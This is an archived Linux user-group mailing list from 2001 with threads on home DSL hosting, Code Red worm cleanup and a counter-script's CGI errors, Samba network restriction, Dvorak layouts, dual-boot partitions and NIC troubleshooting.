dd-b at dd-b.net (David Dyer-Bennet) Date: Mon Jan 17 13:26:04 2005 Subject: [TCLUG] Need advise on DSL/CABLE ? In-Reply-To: <3B74D876.43443B16@tc.umn.edu> References: <3B74D876.43443B16@tc.umn.edu> Message-ID: apu islam writes: > I am planning to run a production web server at my home using Qwest DSL deluxe > package(1 mbps downstream, 1 mbps upstream). The webserver application will > not be havily data intensive, it will have mysql databases on the back end and > some large chunk of applications to keep it loaded. > > I do not know much about qwest DSL service and stability. So do you guys think > it would be wise to run a production server using DSL ? I currently have cable > and I know I am not going to run it on a cable. I've been running my various services on Qwest 768k DSL since 1999, pretty happily. Except for the periods when it goes down for a day or so, like last weekend. -- David Dyer-Bennet / Welcome to the future! / dd-b@dd-b.net Photos: http://dd-b.lighthunters.net/ Book log: http://www.dd-b.net/dd-b/Ouroboros/booknotes/ From dd-b at dd-b.net Sat Aug 11 11:15:22 2001 From: dd-b at dd-b.net (David Dyer-Bennet) Date: Mon Jan 17 13:26:04 2005 Subject: [TCLUG] Need advise on DSL/CABLE ? In-Reply-To: <20010811002221.C2926@real-time.com> References: <3B74D876.43443B16@tc.umn.edu> <20010811002221.C2926@real-time.com> Message-ID: Bob Tanner writes: > Quoting apu islam (isla0005@tc.umn.edu): > > I am planning to run a production web server at my home using Qwest DSL deluxe > > package(1 mbps downstream, 1 mbps upstream). The webserver application will > > not be havily data intensive, it will have mysql databases on the back end and > > some large chunk of applications to keep it loaded. > > > > I do not know much about qwest DSL service and stability. So do you guys think > > it would be wise to run a production server using DSL ? I currently have cable > > and I know I am not going to run it on a cable. > > It would be cheaper to get a database driven web site from a local ISP. I'm not > talking co-locationm, just find an ISP that does MySQL and supports whatever > language your writing your web application in. > > It will be a whole lot cheaper then the 1Mb telco fee from Qworst. A helluva lot > cheaper once you through the ISP charges on top of that. Depends what you want. I'm paying $160/month for 768k all-up. I can probably do a single hosted site considerably cheaper than that. On the other hand, I'm currently running a couple of dozen virtual domains off of this setup; I'm not sure I could do *that* cheaper. On the third hand, only a handfull of them are *mine*, the rest are things I'm doing for friends since there's spare space. You'll certainly get better reliability and support from a good hosting setup. -- David Dyer-Bennet / Welcome to the future! / dd-b@dd-b.net Photos: http://dd-b.lighthunters.net/ Book log: http://www.dd-b.net/dd-b/Ouroboros/booknotes/ From isla0005 at tc.umn.edu Sat Aug 11 13:09:47 2001 From: isla0005 at tc.umn.edu (apu islam) Date: Mon Jan 17 13:26:04 2005 Subject: [TCLUG] Need advise on DSL/CABLE ? References: <3B74D876.43443B16@tc.umn.edu> <20010811002221.C2926@real-time.com> Message-ID: <3B7574EB.CE0009CD@tc.umn.edu> Bob, I am running it on a good ISP for about three years. But my database size and the application load has gotten to a point that I need co-location or more powerful servers. I am thinking of co-location now as I don;t think it would be wise for me to rely on home based DSL service . I will contact you personally to check out the deals of real time. thanks. M.I. Bob Tanner wrote: > Quoting apu islam (isla0005@tc.umn.edu): > > I am planning to run a production web server at my home using Qwest DSL deluxe > > package(1 mbps downstream, 1 mbps upstream). The webserver application will > > not be havily data intensive, it will have mysql databases on the back end and > > some large chunk of applications to keep it loaded. > > > > I do not know much about qwest DSL service and stability. So do you guys think > > it would be wise to run a production server using DSL ? I currently have cable > > and I know I am not going to run it on a cable. > > It would be cheaper to get a database driven web site from a local ISP. I'm not > talking co-locationm, just find an ISP that does MySQL and supports whatever > language your writing your web application in. > > It will be a whole lot cheaper then the 1Mb telco fee from Qworst. A helluva lot > cheaper once you through the ISP charges on top of that. > > Given the rash of Code Red and Qwests crappy support, I would not put "stable", > and "reliable", in with Qwest DSL. > > If you want a sales pitch from Real Time, send me private email and I'll tell > you want we support and what it costs. > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From lxy at cloudnet.com Sat Aug 11 13:11:25 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:04 2005 Subject: [TCLUG] Getting rid of Code Red v2 In-Reply-To: Message-ID: On Fri, 10 Aug 2001, Nate Carlson wrote: > What do you need to do to get rid of Code Red v2 (the one that installs > /scripts/root.exe?) Although there are tools to get rid of Code Red, the fact that root.exe is sitting in plain sight is opening the door to any hack you want. Every security bulletin I've read says fdisk, format is the only way to make sure you're clean. One writeup I saw even suggested that if your machine is unpatched and root.exe isn't accessible, re-install anyway because an attacker may have removed the worm after planting something. And be sure to patch before letting it live :-) -Brian From nate at techie.com Sat Aug 11 13:29:56 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:04 2005 Subject: [TCLUG] Getting rid of Code Red v2 In-Reply-To: ; from lxy@cloudnet.com on Sat, Aug 11, 2001 at 01:11:25PM -0500 References: Message-ID: <20010811132956.C15175@candle.mn.mediaone.net> On Sat, Aug 11, 2001 at 01:11:25PM -0500, Brian wrote: > Although there are tools to get rid of Code Red, the fact that root.exe is > sitting in plain sight is opening the door to any hack you want. Every > security bulletin I've read says fdisk, format is the only way to make > sure you're clean. It seems to me that WinNT/2k has finally moved up in the world. Past exploits on NT/2k have all been DoS, kill the box types. Here is one where the box can be used as a jump point to launch other attacks. Linux has suffered from these problems for years and it's common knowledge that you should format the disk and reinstall after being hacked. MS admins are finally going to learn that they need to format the box and reinstall after a break in. Luckily for them, reinstalling Windows is probably already second-nature to them. :) Nate From lxy at cloudnet.com Sat Aug 11 13:36:37 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:04 2005 Subject: [TCLUG] Telco that doesn't suck? In-Reply-To: <20010811032759.C939@real-time.com> Message-ID: On Sat, 11 Aug 2001, Bob Tanner wrote: > So, are there any Telco or Cable modem providers that don't suck? Not that I'm aware of. Here in St. Cloud I used to go through Local Link. They have better support and competitive rates with Qwest, but last I checked no DSL (the typical "DSL coming soon in your area" for the last 3 years). If they had DSL Local Link would be ok. Then one day I happened to be digging through the dumpster outside their building for something else and I discovered reams of paper which appeared to be logs of their TNs, aka who's calling who. If I knew my TN I could have had my entire phone bill, and so could anyone else who wanted to figure it out. So much for them. Verizon sucks. Qworst is a given. All cable service sucks because in order for a cable modem to work you need the cable installers (clueless) to install the cable hardware and a PC tech (usually doesn't understand networking past what their sheet tells them) to make the end to end connection. Took 2 months for my cable modem to work properly. Now it's saturated with CR/CRII/CRIII hits and my service is degrading slowly. I miss DSL :-( In all fairness, I've never had service outages with Qworst. I have with other phone companies that I've tried. I know that if my service does go out though that it'll be a long, uphill struggle to get it back. Amyway, all providers suck. -Brian From zibby+tclug at ringworld.org Sat Aug 11 14:10:04 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:26:04 2005 Subject: [TCLUG] Samba bind only to local network In-Reply-To: <20010811105926.1f0df29e.hick0088@tc.umn.edu> Message-ID: See: http://us2.samba.org/samba/docs/man/smb.conf.5.html#INTERFACES http://us2.samba.org/samba/docs/man/smb.conf.5.html#BINDINTERFACESONLY Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From tanner at real-time.com Sat Aug 11 16:14:51 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:04 2005 Subject: [TCLUG] Sad side effect of MAPS going commerical Message-ID: <20010811161451.C29426@real-time.com> http://www.merit.edu/mail.archives/nanog/threads.html#06263 Sad side effects... -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From foeclan at winternet.com Sat Aug 11 17:45:56 2001 From: foeclan at winternet.com (Michael Vieths) Date: Mon Jan 17 13:26:04 2005 Subject: [TCLUG] Linux/Win laptop Message-ID: <3B75B5A4.7000206@winternet.com> I'm in the market for a laptop, preferably an Athlon, from a company that'll either preinstall both Windows and Linux on it, or one that will give me an actual copy of Windows so I can repartition and install them both. Any suggestions on who to talk to? -- Michael Vieths Email: Foeclan@Winternet.com Web: http://www.geekbear.net From troyschmidt at mn.mediaone.net Sat Aug 11 17:53:30 2001 From: troyschmidt at mn.mediaone.net (Troy Schmidt) Date: Mon Jan 17 13:26:04 2005 Subject: [TCLUG] Telco that doesn't suck? References: <20010811032759.C939@real-time.com> Message-ID: <005a01c122b8$74510c40$6401a8c0@sucubus> Integra Telecom! ----- Original Message ----- From: "Bob Tanner" To: Sent: Saturday, August 11, 2001 3:27 AM Subject: [TCLUG] Telco that doesn't suck? > Ok, most (all?) of us know Qwest sucks. Most of us know McLeod sucks. I've > worked with PacBell and I have to say they suck. > > It looks like Verizon sucks > http://news.cnet.com/news/0-1004-200-6814696.html > > It looks like AT&T and @Home sucks > http://help.broadband.att.com/faq.jsp?content_id=792&category_id=54 > > So, are there any Telco or Cable modem providers that don't suck? > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From clarson at iaxs.net Sat Aug 11 17:57:36 2001 From: clarson at iaxs.net (Chester A. Larson) Date: Mon Jan 17 13:26:05 2005 Subject: [TCLUG] Dvorak KB Message-ID: <009401c122bd$c379fe80$5e8386d1@clarson> Has it been ported to Linux? If it has where do I can find a KB? -------------- next part -------------- An HTML attachment was scrubbed... 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Mark Browne ----- Original Message ----- From: Chester A. Larson To: tclug-list@mn-linux.org Sent: Saturday, August 11, 2001 5:57 PM Subject: [TCLUG] Dvorak KB Has it been ported to Linux? If it has where do I can find a KB? -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010811/cc5c2551/attachment.html From hick0088 at tc.umn.edu Sat Aug 11 23:12:42 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:05 2005 Subject: [TCLUG] Dvorak KB In-Reply-To: <009401c122bd$c379fe80$5e8386d1@clarson> References: <009401c122bd$c379fe80$5e8386d1@clarson> Message-ID: <20010811231242.783f47db.hick0088@tc.umn.edu> "Chester A. Larson" wrote: > > Has it been ported to Linux? If it has where do I can find a KB? Yes, you can get Dvorak layouts in Linux for console and X (though I've been having a hell of a time figuring out how to get it to work right in Debian testing..) Contrary to what Mark says, it is quite possible to switch between Qwerty and Dvorak. I do it nearly every day. I can't stand Qwerty for too long, though, and I have to set up a Dvorak layout if I have to be at a system for a while. A number of other folks in the LUG do Dvorak as well, though I don't know their stories all that well. I think there was a guy a while back that said he learned it in a few hours, but I'm not sure I believe him ;-) I didn't keep strict track of time, but I think it took me about two weeks to get back up to a decent typing speed. For a while, I couldn't touch a Qwerty keyboard without going nuts, but it became easier later. Basically, if you want to learn Dvorak and keep your ability to do Qwerty, make sure you can get by without doing a lot of typing within the next month or so ;-) In X, to change the current keymap, do `setxkbmap dvorak'. The more permanent solution is to muck with your XF86Config file. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ "Were they sent to Hell?" / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ "Worse. Wisconsin." \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010811/8dd1cddc/attachment.pgp From blayer at qwest.net Sat Aug 11 23:25:03 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:05 2005 Subject: [TCLUG] Dvorak KB In-Reply-To: <000c01c122dd$92d47b00$6601a8c0@zippy> References: <009401c122bd$c379fe80$5e8386d1@clarson> <000c01c122dd$92d47b00$6601a8c0@zippy> Message-ID: <20010811232503.2a1f88a7.blayer@qwest.net> > ----- Original Message ----- > From: Chester A. Larson > To: tclug-list@mn-linux.org > Sent: Saturday, August 11, 2001 5:57 PM > Subject: [TCLUG] Dvorak KB > > > Has it been ported to Linux? If it has where do I can find a KB? Is it possible to just pull & re-arrange keycaps from a QWERTY kb and make a Dvorak kb? -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From hick0088 at tc.umn.edu Sat Aug 11 23:39:50 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:05 2005 Subject: [TCLUG] Dvorak KB In-Reply-To: <20010811232503.2a1f88a7.blayer@qwest.net> References: <009401c122bd$c379fe80$5e8386d1@clarson> <000c01c122dd$92d47b00$6601a8c0@zippy> <20010811232503.2a1f88a7.blayer@qwest.net> Message-ID: <20010811233950.5eaaa16e.hick0088@tc.umn.edu> "Bill Layer" wrote: > > Is it possible to just pull & re-arrange keycaps from a QWERTY kb and > make a Dvorak kb? Easiest if you can find an IBM PS/2 or Northgate clicky keyboard -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Do cosmetologists give / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ make-up exams? \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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Oh well, like I said, my fallback is to use IP Tables to only allow connections from the local network, and not the Internet at large.. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Can atheists get / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ insurance for acts of \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) God? [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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(Well, almost.. my girlfriend found out the hard way that nail polish remover destroys any keyboard) Jay On Saturday 11 August 2001 11:39 pm, you wrote: > "Bill Layer" wrote: > > Is it possible to just pull & re-arrange keycaps from a QWERTY kb and > > make a Dvorak kb? > > Easiest if you can find an IBM PS/2 or Northgate clicky keyboard -- Jay Kline list@slushpupie.com http://www.slushpupie.com "Life, loathe it or ignore it, you can't like it." -- Marvin, "Hitchhiker's Guide to the Galaxy" From list at slushpupie.com Sat Aug 11 23:46:36 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:05 2005 Subject: [TCLUG] Samba bind only to local network In-Reply-To: <20010811234525.5a52669a.hick0088@tc.umn.edu> References: <20010811105926.1f0df29e.hick0088@tc.umn.edu> <20010811234525.5a52669a.hick0088@tc.umn.edu> Message-ID: <01081123463602.22554@friday.tarsk.com> Im not sure you can only listen on the local net. As the NetBOUI and NetBIOS is not considered routeable, Samba is also considered as such. The only thing is, it now encapsulates all that in TCP which IS routeable. So your best option may be to use iptables to block. Though you should consider the possibility of another samba server acting as a "router" in that someone from an outside net could contact it to perform queries to your server. I am not sure about how it works, but someone once tried to describe the setup to me. Not sure if its true, but sounded plausable knowing how the master browser works. Jay On Saturday 11 August 2001 11:45 pm, you wrote: > "Andy Zbikowski (Zibby)" wrote: > > See: > > http://us2.samba.org/samba/docs/man/smb.conf.5.html#INTERFACES > > http://us2.samba.org/samba/docs/man/smb.conf.5.html#BINDINTERFACESONLY > > Hmm. That doesn't seem to do quite what I'm looking for, unless I'm > getting the syntax wrong. > > Oh well, like I said, my fallback is to use IP Tables to only allow > connections from the local network, and not the Internet at large.. -- Jay Kline jay@slushpupie.com http://www.slushpupie.com You will be given a post of trust and responsibility. From tanner at real-time.com Sun Aug 12 00:18:43 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:05 2005 Subject: [TCLUG] perl default.ida Message-ID: <20010812001843.G29426@real-time.com> I did a test install of the default.ida perl script and I get the Premature end of script headers: Error. What needs to be done? AddHandler cgi-script .cgi .ida Options ExecCGI Anything else? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From thomas at stderr.net Sun Aug 12 00:20:40 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:26:05 2005 Subject: [TCLUG] perl default.ida In-Reply-To: <20010812001843.G29426@real-time.com>; from tanner@real-time.com on Sun, Aug 12, 2001 at 12:18:43AM -0500 References: <20010812001843.G29426@real-time.com> Message-ID: <20010812072040.A25321@io.stderr.net> On Sun, Aug 12, 2001 at 12:18:43AM -0500, Bob Tanner wrote: > I did a test install of the default.ida perl script and I get the > > Premature end of script headers: Sounds like bad cgi-script to me. > Error. > > What needs to be done? > > AddHandler cgi-script .cgi .ida > Options ExecCGI > > Anything else? Can we see the source? -- Thomas Eibner DnsZone mod_pointer From tanner at real-time.com Sun Aug 12 00:24:10 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:06 2005 Subject: [TCLUG] perl default.ida In-Reply-To: <20010812072040.A25321@io.stderr.net>; from thomas@stderr.net on Sun, Aug 12, 2001 at 07:20:40AM +0200 References: <20010812001843.G29426@real-time.com> <20010812072040.A25321@io.stderr.net> Message-ID: <20010812002410.H29426@real-time.com> Quoting Thomas Eibner (thomas@stderr.net): > On Sun, Aug 12, 2001 at 12:18:43AM -0500, Bob Tanner wrote: > > I did a test install of the default.ida perl script and I get the > > > > Premature end of script headers: > > Sounds like bad cgi-script to me. Sure. I'll put it up on Real Time's web site. http://www.real-time.com/default.txt -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From hick0088 at tc.umn.edu Sun Aug 12 00:27:23 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:06 2005 Subject: [TCLUG] perl default.ida In-Reply-To: <20010812001843.G29426@real-time.com> References: <20010812001843.G29426@real-time.com> Message-ID: <20010812002723.760fc7c6.hick0088@tc.umn.edu> Bob Tanner wrote: > > I did a test install of the default.ida perl script and I get the > > Premature end of script headers: > > Error. > > What needs to be done? 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I'll put it up on Real Time's web site. So, when you get a code red hit it barfs? or just a normal hit? -- Thomas Eibner DnsZone mod_pointer From hick0088 at tc.umn.edu Sun Aug 12 00:34:14 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:06 2005 Subject: [TCLUG] perl default.ida In-Reply-To: <20010812002410.H29426@real-time.com> References: <20010812001843.G29426@real-time.com> <20010812072040.A25321@io.stderr.net> <20010812002410.H29426@real-time.com> Message-ID: <20010812003414.6856dc13.hick0088@tc.umn.edu> Bob Tanner wrote: > > Sure. I'll put it up on Real Time's web site. > > http://www.real-time.com/default.txt Jeez. That script again? I'm convinced that it doesn't work, and I haven't heard of anyone actually testing it against a real box. Could someone please find an IIS box somewhere, put root.exe in the scripts folder, and try this by running a browser on the server and pointing it at `http://www.dasbistro.com/default.ida?blah' ? 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I'll put it up on Real Time's web site. > > So, when you get a code red hit it barfs? or just a normal hit? > Both. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Sun Aug 12 00:45:08 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:06 2005 Subject: [TCLUG] perl default.ida In-Reply-To: <20010812003631.I29426@real-time.com>; from tanner@real-time.com on Sun, Aug 12, 2001 at 12:36:31AM -0500 References: <20010812001843.G29426@real-time.com> <20010812072040.A25321@io.stderr.net> <20010812002410.H29426@real-time.com> <20010812072827.B25321@io.stderr.net> <20010812003631.I29426@real-time.com> Message-ID: <20010812004508.J29426@real-time.com> Quoting Bob Tanner (tanner@real-time.com): > Quoting Thomas Eibner (thomas@stderr.net): > > On Sun, Aug 12, 2001 at 12:24:10AM -0500, Bob Tanner wrote: > > > Quoting Thomas Eibner (thomas@stderr.net): > > > > On Sun, Aug 12, 2001 at 12:18:43AM -0500, Bob Tanner wrote: > > > > > I did a test install of the default.ida perl script and I get the > > > > > > > > > > Premature end of script headers: > > > > > > > > Sounds like bad cgi-script to me. > > > > > > Sure. I'll put it up on Real Time's web site. > > > > So, when you get a code red hit it barfs? or just a normal hit? > > > > Both. > ./default.ida Can't locate HTML/HeadParser.pm in @INC (@INC contains: /usr/lib/perl5/5.00503/i386-linux /usr/lib/perl5/5.00503 /usr/lib/perl5/site_perl/5.005/i386-linux /usr/lib/perl5/site_perl/5.005 .) at /usr/lib/perl5/site_perl/5.005/LWP/Protocol.pm line 47. BEGIN failed--compilation aborted at /usr/lib/perl5/site_perl/5.005/LWP/UserAgent.pm line 103. BEGIN failed--compilation aborted at ./default.ida line 30. I thought HTML/HeadParser.pm was in libwwww-perl! -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From hick0088 at tc.umn.edu Sun Aug 12 01:52:37 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:06 2005 Subject: [TCLUG] perl default.ida In-Reply-To: <20010812003414.6856dc13.hick0088@tc.umn.edu> References: <20010812001843.G29426@real-time.com> <20010812072040.A25321@io.stderr.net> <20010812002410.H29426@real-time.com> <20010812003414.6856dc13.hick0088@tc.umn.edu> Message-ID: <20010812015237.5042baa9.hick0088@tc.umn.edu> Mike Hicks wrote: > > Could someone please find an IIS box somewhere, put root.exe in the > scripts folder, and try this by running a browser on the server and > pointing it at `http://www.dasbistro.com/default.ida?blah' ? (include hmm. Looks like their script changed and will now send e-mail to an address in the WHOIS entry for your network's ARIN records. Probably not a good idea to hit that site anymore. However, Bob currently has my script up at real-time, so maybe people can test with that. http://www.real-time.com/default.ida?XXXXX Read through all your TCLUG mail first, though, in case Bob decides to change something. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ I saw a subliminal / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ advertising executive, \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) but only for a second. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010812/9a27589e/attachment.pgp From houle at citilink.com Sun Aug 12 08:16:30 2001 From: houle at citilink.com (Terry Houle) Date: Mon Jan 17 13:26:06 2005 Subject: [TCLUG] Shared partions Message-ID: I am looking to get a notebook and put Windows and Linux on it. I would partition the drive and wondering if I could put my data files for Windows and Linux is the shared partion.? Or do I have to create a seperate partition for each of the data files? I think I know the answer but wanted to confirm. TIA Terry Houle houle@citilink.com http://www.citilink.com/~houle From dsherman at real-time.com Sun Aug 12 09:07:46 2001 From: dsherman at real-time.com (Dave Sherman) Date: Mon Jan 17 13:26:06 2005 Subject: [TCLUG] Samba bind only to local network In-Reply-To: <20010811234525.5a52669a.hick0088@tc.umn.edu> References: <20010811105926.1f0df29e.hick0088@tc.umn.edu> <20010811234525.5a52669a.hick0088@tc.umn.edu> Message-ID: <01081209074600.01115@dedannshae.thuria.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 If you are trying to restrict connections to only be allowed from the local network, try this in your global section: # Networking configuration options hosts allow = 192.168.1. 192.168.2. localhost hosts deny = 192.168.1.102 192.168.2.37 It works just like the hosts.allow and hosts.deny files. Notice, to allow an entire network, only include the network address and the final dot, but not a zero or anything else. If you want to include a range of IPs, you can do something like this: hosts allow = 192.168.1.0/255.255.255.128 which will simply compare the network and machine address against the netmask you specify. Anywho, for more info check http://us2.samba.org/samba/docs/man/smb.conf.5.html#HOSTSALLOW Hope this helps, Dave On Saturday 11 August 2001 23:45, thus spake Mike Hicks: > > "Andy Zbikowski (Zibby)" wrote: > > See: > > http://us2.samba.org/samba/docs/man/smb.conf.5.html#INTERFACES > > http://us2.samba.org/samba/docs/man/smb.conf.5.html#BINDINTERFACESONLY > > Hmm. That doesn't seem to do quite what I'm looking for, unless I'm > getting the syntax wrong. > > Oh well, like I said, my fallback is to use IP Tables to only allow > connections from the local network, and not the Internet at large.. - ---------------------------------------- Content-Type: application/pgp-signature; charset="US-ASCII"; name="Attachment: 1" Content-Transfer-Encoding: 7bit Content-Description: - ---------------------------------------- - -- "Nihil tam munitum quod non expugnari pecunia possit." (No fortification is such that it cannot be subdued with money.) - - Marcus Tullius Cicero, 106-43 B.C. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE7do21A68l26XsZUYRApeBAJ9p9Dt9PAAYS8gBluoVTxhkuVSFIwCgoctv hqS5f/TfEdrXYQoyGuz/zF0= =VGS8 -----END PGP SIGNATURE----- From labmat at mn.mediaone.net Sun Aug 12 08:21:38 2001 From: labmat at mn.mediaone.net (Matthew LaBerge) Date: Mon Jan 17 13:26:06 2005 Subject: [TCLUG] Shared partions In-Reply-To: Message-ID: <200108121417.f7CEHvI18155@mnmai05.mn.mediaone.net> Linux has no problem reading and wrighting a windows partition, it get's mounted lust like a cd-rom. I have Mandrake 8.0 installed and it automaticaly detects windows partitions and mounts them for you. It even puts an icon on your desktop with the name of the partition in it. Matthew LaBerge labmat@mn.mediaone.net On 12 Aug 2001 08:16:30 -0500, Terry Houle wrote: > I am looking to get a notebook and put Windows and Linux on it. I would > partition the drive and wondering if I could put my data files for Windows > and Linux is the shared partion.? Or do I have to create a seperate > partition for each of the data files? I think I know the answer but wanted > to confirm. > > TIA > > Terry Houle > houle@citilink.com > http://www.citilink.com/~houle > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From blayer at qwest.net Sun Aug 12 10:08:01 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:06 2005 Subject: [TCLUG] Shared partions In-Reply-To: References: Message-ID: <20010812100801.1c35f6d6.blayer@qwest.net> On Sun, 12 Aug 2001 08:16:30 -0500 "Terry Houle" wrote: > I am looking to get a notebook and put Windows and Linux on it. I would > partition the drive and wondering if I could put my data files for Windows > and Linux is the shared partion.? Or do I have to create a seperate > partition for each of the data files? I think I know the answer but wanted > to confirm. When you say 'data' files, I assume you mean My Documents under Windows, and your ~ (home dierctory) under Linux. It is possible to format the partition as FAT32 for windows, and mount it as UMSDOS under linux, but this really isn't the best idea. It's not secure, and it's easy to goof up the UMSDOS world from the Windows side. I would suggest using seperate partitions for each os's working space, and if you need read / write access to the Windows partition under Linux, just mount it as VFAT under a standard mount point like /mnt/windows. There is also a software called 'explore2fs' that will allow you to read/write the Linux EXT2 partition under Windows, allthough I'm not sure how well it works, or even if it is safe. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From fmawjee at mail.bellanet.org Sun Aug 12 15:15:11 2001 From: fmawjee at mail.bellanet.org (Farooq Mawjee) Date: Mon Jan 17 13:26:06 2005 Subject: [TCLUG] nokia 8260 blue led lights Message-ID: <015f01c1236b$7d73d2e0$c802050a@idrc.ca> Hi, I was surfing the net and this page came up and you were saying you had installed blue leds on your 8260. Well I just bought an 8260 and I wanted to install those blue leds. You said it was hard to solder them on, I have never had any soldering experience. Do you think I could do it myself, I'm afraid I might screw up my phone....is it very dangerous to the phone to do the install? Thank you very much for you're time. I would appreciate any help you can give. Thanx. ---------------------------------------------- Farooq Mawjee From JMiller2 at dainrauscher.com Sun Aug 12 17:34:43 2001 From: JMiller2 at dainrauscher.com (Miller, John) Date: Mon Jan 17 13:26:06 2005 Subject: [TCLUG] NIC Card Message-ID: <5F82C717009DF446AD6C89008A29F3941D6271@MAIL4.corp.isib.net> I wrote earlier this week about my mb dying. After further trials, it still lives. I took the system apart so I could get to the connector better and plugged it in and it worked. The ps died. Now I have my system reassembled and the NIC that I use to connect to the internet seems not to be working. Drivers for both cards are loaded. /proc/pci lists them both When I plug the cable in, the link light comes on on the back of the card but does not light up the hub. I have swap the the cord on the hub, nothing. When I bring eth0 up with ifconfig eth0 up, I get all the information. The card is a netgear FA311. It has served me well. Anyone have any ideas, TIA John Miller From barnabas at knicknack.net Sun Aug 12 17:43:14 2001 From: barnabas at knicknack.net (Eric Stanley) Date: Mon Jan 17 13:26:07 2005 Subject: [TCLUG] NIC Card In-Reply-To: <5F82C717009DF446AD6C89008A29F3941D6271@MAIL4.corp.isib.net>; from JMiller2@dainrauscher.com on Sun, Aug 12, 2001 at 05:34:43PM -0500 References: <5F82C717009DF446AD6C89008A29F3941D6271@MAIL4.corp.isib.net> Message-ID: <20010812174314.A22352@knicknack.net> It looks like you have two cards -- are they the same kind of card? If so, it is possible that the BIOS switched them around so that what was eth0 is now eth1 and vice versa. Might that be the case? Eric On Sun, Aug 12, 2001 at 05:34:43PM -0500, Miller, John wrote: > I wrote earlier this week about my mb dying. After further trials, it > still lives. I took the system apart so I could get to the connector > better and plugged it in and it worked. The ps died. > > Now I have my system reassembled and the NIC that I use to connect to > the internet seems not to be working. Drivers for both cards are > loaded. /proc/pci lists them both When I plug the cable in, the link > light comes on on the back of the card but does not light up the hub. I > have swap the the cord on the hub, nothing. When I bring eth0 up with > ifconfig eth0 up, I get all the information. > > The card is a netgear FA311. It has served me well. > > Anyone have any ideas, > > TIA > > John Miller > _______________________________________________ > tclug-list 